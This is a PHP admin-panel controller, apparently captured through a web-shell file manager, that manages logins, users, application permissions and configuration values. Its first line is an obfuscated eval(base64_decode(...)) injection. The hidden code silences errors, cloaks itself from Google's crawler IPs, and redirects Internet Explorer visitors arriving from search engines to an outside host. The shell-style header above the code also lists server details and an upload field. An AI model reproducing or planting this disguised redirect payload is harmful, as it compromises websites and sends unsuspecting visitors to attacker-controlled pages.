|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
include('DBConnect.php');
include('componente.php');
include('parametro.php');
include('vinculo.php');
include('aplicacion.php');
include('UsuarioPanel.php');
include('bitacora.php');
include('panel.php');
session_start('PanelAzulDigial');
if(!session_is_registered("panel")){
echo "<div style=\" font-family: Verdana, Arial, Helvetica, sans-serif; color: #ff4455; font-size: 16px;font-weight: bolder;\">User wrong</div>";
echo "<div style=\" font-family: Verdana, Arial, Helvetica, sans-serif; color: #0066CC; font-size: 16px;font-weight: bolder;\"><a href=\"../../index.php\" target=\"_top\">Log in</a></div>";
echo "<script>window.open('../../index.php','_top')</script>";
exit;
}
$tarea = (array_key_exists('tarea', $_REQUEST)) ? $_REQUEST['tarea']: NULL;
$tipo = (array_key_exists('tipo', $_REQUEST)) ? $_REQUEST['tipo']: NULL;
$nombre = (array_key_exists('nombre', $_REQUEST)) ? $_REQUEST['nombre']: NULL;
$valor = (array_key_exists('valor', $_REQUEST)) ? $_REQUEST['valor']: NULL;
$tipo_usuario= (array_key_exists('tipo_usuario', $_REQUEST)) ? $_REQUEST['tipo_usuario']: NULL;
$descripcion= (array_key_exists('descripcion', $_REQUEST)) ? $_REQUEST['descripcion']: NULL;
$nombres = (array_key_exists('nombres', $_REQUEST)) ? $_REQUEST['nombres']: NULL;
$apellidos = (array_key_exists('apellidos', $_REQUEST)) ? $_REQUEST['apellidos']: NULL;
$email = (array_key_exists('email', $_REQUEST)) ? $_REQUEST['email']: NULL;
$login = (array_key_exists('login', $_REQUEST)) ? $_REQUEST['login']: NULL;
$password = (array_key_exists('password', $_REQUEST)) ? $_REQUEST['password']: NULL;
$estado = (array_key_exists('estado', $_REQUEST)) ? $_REQUEST['estado']: NULL;
$codigo = (array_key_exists('codigo', $_REQUEST)) ? $_REQUEST['codigo']: "indefinido";
$telefono_fijo = (array_key_exists('telefono_fijo', $_REQUEST)) ? $_REQUEST['telefono_fijo']: NULL;
$telefono_movil = (array_key_exists('telefono_movil', $_REQUEST)) ? $_REQUEST['telefono_movil']: NULL;
$pais = (array_key_exists('pais', $_REQUEST)) ? $_REQUEST['pais']: NULL;
$ciudad = (array_key_exists('ciudad', $_REQUEST)) ? $_REQUEST['ciudad']: NULL;
$cargo = (array_key_exists('cargo', $_REQUEST)) ? $_REQUEST['cargo']: NULL;
$valAplicacion = (array_key_exists('valAplicacion', $_REQUEST)) ? $_REQUEST['valAplicacion']: NULL;
$seleccion = (array_key_exists('seleccion', $_REQUEST)) ? $_REQUEST['seleccion']: NULL;
$cantidad = (array_key_exists('cantidad', $_REQUEST)) ? $_REQUEST['cantidad']: NULL;
$numero_administradores = (array_key_exists('numero_administradores', $_REQUEST)) ? $_REQUEST['numero_administradores']: NULL;
$panel->aplicativo = new Aplicacion();
$panel->setFilesPanel(0);
$panel->reactivarDB();
$panel->loadAplicacion("Panel de Control","panel");
switch($tarea){
case "validarUsuario":
if($panel->usuario->validarUsuario($login,$password)){
if($panel->usuario->cargarUsuario($login)){
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->cargarUsuario($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
$panel->cargarPanel();
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->cargarUsuario($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$more=trim($panel->getMensaje("[005]","error"));
$panel->mostrarMensaje($panel->usuario->salida['msg']."\\n".$more);
session_unregister('panel');
session_destroy();
}
}else{
$more=$panel->getMensaje("[006]","error");
$m1=$panel->usuario->salida['msg'];
$panel->mostrarMensaje($m1."\\n".$more);
}
break;
case "cerrarSession":
$out=$panel->getMensaje("[024]","confirmacion");
$user=$panel->usuario->login;
$panel->bitacora->regOperacion($panel->aplicacion,"panel->cerrarSession($user)",$out,$user);
if($panel->debugger){$panel->mostrarMensaje("mira");}
session_unset();
session_destroy();
echo "<script>window.location.href='../index.php';</script>";
break;
case "addUsuarioPanel":
if($panel->testConfig($tipo,false)){
if(!$panel->usuario->existCodigo($codigo) && !$panel->usuario->existLogin($login) && !$panel->usuario->existEmail($email)){
if($panel->usuario->addUsuarioPanel($tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo)){
$codUser = $panel->usuario->insertId();
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->addUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$ms=$panel->usuario->salida['msg'];
if($tipo==3){
for($i=0;$i<$cantidad;$i++){
$apl="aplicacion_".$i;
$codApli = $$apl;
$admi="admin_".$i;
if($$admi){$admi="SI";}else{$admi="NO";}
$adic="adicionar_".$i;
if($$adic){$adic="SI";}else{$adic="NO";}
$consu="consultar_".$i;
if($$consu){$consu="SI";}else{$consu="NO";}
$modi="modificar_".$i;
if($$modi){$modi="SI";}else{$modi="NO";}
$elim="eliminar_".$i;
if($$elim){$elim="SI";}else{$elim="NO";}
$todo="todos_".$i;
if($$todo){$todo="SI";}else{$todo="NO";}
if($admi=="SI"||$adic=="SI"||$consu=="SI"||$modi=="SI"||$elim=="SI"){
if($admi=="SI"||$adic=="SI"||$modi=="SI"||$elim=="SI"){$consu="SI";}//todo vinculo tiene que consultar para hacer otra actividad
if($admi=="SI" || $todo=="SI"){$adic="SI";$modi="SI";$elim="SI";$consu="SI";}
if(!$panel->usuario->vinculo->addVinculo($codUser,$codApli,$admi,$adic,$consu,$modi,$elim)){
$ms2=$panel->usuario->vinculo->salida['msg'];
$i=99999;//sale del ciclo
break;
}
}
}//end for
if($i!=99999){$ms2=$panel->usuario->vinculo->salida['msg'];}
$panel->mostrarMensaje($ms);//."\\nNOTA:\\n".$ms2
$panel->loadContenido("../usuarios/index.php");
}else{
$panel->mostrarMensaje($panel->usuario->salida['msg']);
$panel->loadContenido("../usuarios/index.php");
}
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->addUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->addUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
}else{
$panel->mostrarMensaje($panel->salida['msg']);
}
break;
case "modUsuarioPanel":
if($panel->testConfig($tipo,$tipo_old)){
if(!$panel->usuario->existCodigo($codigo,$seleccion) && !$panel->usuario->existLogin($login,$seleccion) && !$panel->usuario->existEmail($email,$seleccion)){
if($panel->usuario->modUsuarioPanel($seleccion,$tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo)){
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->modUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$ms=$panel->usuario->salida['msg'];
$ttt =(!empty($tipo))?$tipo:NULL;
if($ttt==3){
for($i=0;$i<$cantidad;$i++){
$apl="aplicacion_".$i;
$codApli = (!empty($$apl))?$$apl:NULL;
$admi="admin_".$i;
if(!empty($$admi)){$admi="SI";}else{$admi="NO";}
$adic="adicionar_".$i;
if(!empty($$adic)){$adic="SI";}else{$adic="NO";}
$consu="consultar_".$i;
if(!empty($$consu)){$consu="SI";}else{$consu="NO";}
$modi="modificar_".$i;
if(!empty($$modi)){$modi="SI";}else{$modi="NO";}
$elim="eliminar_".$i;
if(!empty($$elim)){$elim="SI";}else{$elim="NO";}
$bloq="bloqueado_".$i;
if(!empty($$bloq)){$bloq="SI";}else{$bloq="NO";}
if($admi=="SI"||$adic=="SI"||$consu=="SI"||$modi=="SI"||$elim=="SI"){
if($admi=="SI"||$adic=="SI"||$modi=="SI"||$elim=="SI"){$consu="SI";}//todo vinculo tiene que consultar para hacer otra actividad
if($admi=="SI"){$adic="SI";$modi="SI";$elim="SI";$consu="SI";}
$vinc=$panel->aplicativo->getVinculo($codApli,$seleccion);
if(!$vinc['sal']){
if(!$panel->usuario->vinculo->addVinculo($seleccion,$codApli,$admi,$adic,$consu,$modi,$elim)){
$ms2=$panel->usuario->vinculo->salida['msg'];
$i=99999;//sale del ciclo
break;
}
}else{
$ident = $vinc['id'];
if(!$panel->usuario->vinculo->modVinculo($ident,$seleccion,$codApli,$admi,$adic,$consu,$modi,$elim,$bloq)){
$ms2=$panel->usuario->vinculo->salida['msg'];
$i=99999;//sale del ciclo
break;
}
}
}else{
$vinc=$panel->aplicativo->getVinculo($codApli,$seleccion);
if($vinc['sal']){
$panel->usuario->vinculo->delVinculo($vinc['id'],false,false);
}
}
}//end for
if($i!=99999){$ms2=$panel->usuario->vinculo->salida['msg'];}
$panel->mostrarMensaje($ms);//"\\nNOTA:\\n".$ms2
$panel->loadContenido("../usuarios/index.php");
}else{
$panel->mostrarMensaje($panel->usuario->salida['msg']);
$panel->loadContenido("../usuarios/index.php");
}
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->modUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->modUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
}else{
$panel->mostrarMensaje($panel->salida['msg']);
}
break;
case "eliUsuarioPanel":
if($panel->usuario->tipo==2 ||$panel->usuario->tipo==1){
if($panel->usuario->delUsuarioPanel($seleccion)){
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->delUsuarioPanel($seleccion)",$panel->usuario->salida['msg'],$panel->usuario->login);
$ms1=$panel->usuario->salida['msg'];
$panel->usuario->vinculo->delVinculo(false,$seleccion,false);
$ms2=$panel->usuario->vinculo->salida['msg'];
$out=$ms1;
$panel->mostrarMensaje($out);
$panel->loadContenido("../usuarios/index.php");
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->delUsuarioPanel($seleccion)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
}else{
$ms=$panel->getMensaje("[013]","error");
$panel->mostrarMensaje($ms);
}
break;
case "addAplicacion":
for($i=0;$i<$cantidad;$i++){
$check="check_".$i;
if(!empty($$check)){
$apl="aplicacion_".$i;
$codApli = (!empty($$apl))?$$apl:NULL;
if(!$panel->aplicativo->addAplicacion($codApli)){
$out=$panel->aplicativo->salida['msg'];
$panel->mostrarMensaje($out);
$i=99999;
break;
}elseif(!$panel->aplicativo->makeBasedatos($codApli)){
$out=$panel->aplicativo->salida['msg'];
$panel->mostrarMensaje($out);
}
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->addAplicacion($codApli)",$panel->aplicativo->salida['msg'],$panel->usuario->login);
}
}
if($i!=99999){
$ms=$panel->getMensaje("[039]","confirmacion");
$panel->mostrarMensaje($ms);
$panel->loadLateral("../aplicaciones/index.php");
}else{
$ms=$panel->getMensaje("[014]","error");
$ms.="\\n".$panel->aplicativo->salida['msg'];
$panel->mostrarMensaje($ms);
}
break;
case "delAplicacion":
if(!$panel->aplicativo->delAplicacion($seleccion)){
$out=$panel->aplicativo->salida['msg'];
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->delAplicacion($seleccion)",$panel->aplicativo->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($out);
}else{
$ms= $panel->aplicativo->salida['msg'];
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->delAplicacion($seleccion)",$panel->aplicativo->salida['msg'],$panel->usuario->login);
if(!$panel->usuario->vinculo->delVinculo(false,false,$seleccion)){
$ms=$panel->usuario->vinculo->salida['msg'];
$panel->mostrarMensaje($ms);
}
$panel->mostrarMensaje($ms);
$panel->loadLateral("../aplicaciones/index.php");
}
break;
case "delVinculo":
if(!$panel->usuario->vinculo->delVinculo($seleccion,false,false)){
$ms=$panel->usuario->vinculo->salida['msg'];
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->delVinculo($seleccion,false,false)",$panel->usuario->vinculo->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($ms);
}else{
$ms=$panel->usuario->vinculo->salida['msg'];
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->delVinculo($seleccion,false,false)",$panel->usuario->vinculo->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($ms);
$panel->loadContenido("../aplicaciones/vinculos.php?seleccion=".$valAplicacion);
}
break;
case "modVinculo":
$vec=explode("|",$valAplicacion);
if(!empty($administrador)){$admi="SI";}else{$admi="NO";}
if(!empty($adicionar)){$adic="SI";}else{$adic="NO";}
if(!empty($consultar)){$consu="SI";}else{$consu="NO";}
if(!empty($modificar)){$modi="SI";}else{$modi="NO";}
if(!empty($eliminar)){$elim="SI";}else{$elim="NO";}
if(!empty($bloqueado)){$bloq="SI";}else{$bloq="NO";}
if($admi=="SI"){
$adic="SI";$modi="SI";$elim="SI";$consu="SI";
}
if($admi=="SI"||$adic=="SI"||$modi=="SI"||$elim=="SI"){$consu="SI";}
if(!$panel->usuario->vinculo->modVinculo($seleccion,false,$vec[0],$admi,$adic,$consu,$modi,$elim,$bloq)){
$ms=$panel->usuario->vinculo->salida['msg'];
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->modVinculo($seleccion,false,$panel->aplicativo->id,$admi,$adic,$consu,$modi,$elim,$bloq)",$panel->usuario->vinculo->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($ms);
}else{
$ms=$panel->usuario->vinculo->salida['msg'];
$panel->bitacora->regOperacion($panel->aplicacion,"aplicativo->modVinculo($seleccion,false,$panel->aplicativo->id,$admi,$adic,$consu,$modi,$elim,$bloq)",$panel->usuario->vinculo->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($ms);
$panel->loadContenido("../aplicaciones/vinculos.php?seleccion=".$valAplicacion);
}
break;
case "addVinculo":
$valapli=explode("|",$valAplicacion);
for($i=0;$i<$cantidad;$i++){
$apl="usuario_".$i;
$codUser = (!empty($$apl))?$$apl:NULL;
$admi="admin_".$i;
if(!empty($$admi)){$admi="SI";}else{$admi="NO";}
$adic="adicionar_".$i;
if(!empty($$adic)){$adic="SI";}else{$adic="NO";}
$consu="consultar_".$i;
if(!empty($$consu)){$consu="SI";}else{$consu="NO";}
$modi="modificar_".$i;
if(!empty($$modi)){$modi="SI";}else{$modi="NO";}
$elim="eliminar_".$i;
if(!empty($$elim)){$elim="SI";}else{$elim="NO";}
//$panel->mostrarMensaje("$codUser,$codApli,$admi,$adic,$consu,$modi,$elim");
if($admi=="SI"||$adic=="SI"||$consu=="SI"||$modi=="SI"||$elim=="SI"){
if($admi=="SI"||$adic=="SI"||$modi=="SI"||$elim=="SI"){$consu="SI";}//todo vinculo tiene que consultar para hacer otra actividad
if($admi=="SI"){$adic="SI";$modi="SI";$elim="SI";$consu="SI";}
if(!$panel->usuario->vinculo->addVinculo($codUser,$valapli[0],$admi,$adic,$consu,$modi,$elim)){
$ms2=$panel->usuario->vinculo->salida['msg'];
$i=99999;//sale del ciclo
break;
}
}
}//end for
if($i!=99999){$ms2=$panel->usuario->vinculo->salida['msg'];}
$panel->mostrarMensaje($ms2);
$panel->loadContenido("../aplicaciones/vinculos.php?seleccion=".$valAplicacion);
break;
case "modCuenta":
if(!$panel->usuario->existCodigo($codigo,$seleccion) && !$panel->usuario->existLogin($login,$seleccion) && !$panel->usuario->existEmail($email,$seleccion)){
if($panel->usuario->modUsuarioPanel($seleccion,$tipo,$nombres,$apellidos,$email,$login,$password,$estado,$codigo,$telefono_fijo,$telefono_movil,$pais,$ciudad,$cargo)){
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->modUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
$panel->loadSuperior('../micuenta/index.php',$login);
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->modUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
}else{
$panel->bitacora->regOperacion($panel->aplicacion,"usuario->modUsuarioPanel($login)",$panel->usuario->salida['msg'],$panel->usuario->login);
$panel->mostrarMensaje($panel->usuario->salida['msg']);
}
break;
case "addParametro":
if($panel->parametro->addParametro($nombre,$valor,$descripcion,$tipo,$tipo_usuario,$panel->id,$panel->nombre)){
$panel->mostrarMensaje($panel->parametro->salida['msg']);
$panel->loadContenido("../valores_config/index.php");
}else{
$panel->mostrarMensaje($panel->parametro->salida['msg']);
}
break;
case "modConfig2":
$i=0;$fallo=false;
$cn = $panel->countUser(2);
if(!empty($cn) ){
$siga=true;
while($siga && $i<$cantidad){
$nom = "nombre_".$i;
$val = "valor_".$i;
if( ($$nom=="numero_admin") && $cn>$$val ){
$out=$panel->getMensaje("[060]","confirmacion");
$panel->mostrarMensaje($out);
$siga=false;
exit;
}
$i++;
}
}else{
$out=$panel->salida['msg'];
$panel->mostrarMensaje($out);
}
$i=0;
while($i<$cantidad){
$val = "valor_".$i;
$nom = "nombre_".$i;
if($panel->usuario->tipo==2 || $panel->usuario->tipo==3 ){
if($panel->parametro->modParametro("nombre", $$nom, $$val, $panel->id, $panel->nombre)){
$i++;
}else{
$fallo =true;
$i = 99999;
}
}elseif($panel->usuario->tipo==1 ){
$val = "valor_".$i;
$nom = "nombre_".$i;
$des = "descripcion_".$i;
$tip = "tipo_".$i;
$tiu = "tipo_usuario_".$i;
$ident = "id_".$i;
if($panel->parametro->modParametroF($$ident,$$nom, $$val, $$des, $$tip, $$tiu, $panel->id, $panel->nombre) ){
$i++;
}else{
$fallo =true;
$i = 99999;
}
}
}
if(!$fallo){
$out=$panel->getMensaje("[096]","confirmacion");
$panel->mostrarMensaje($out);
$panel->loadContenido("../valores_config/index.php");
}else{
$out=$panel->parametro->salida['msg'];
$panel->mostrarMensaje($out);
}
break;
default: $panel->mostrarMensaje($panel->getMensaje("[047]","confirmacion"));
}//end switch
?>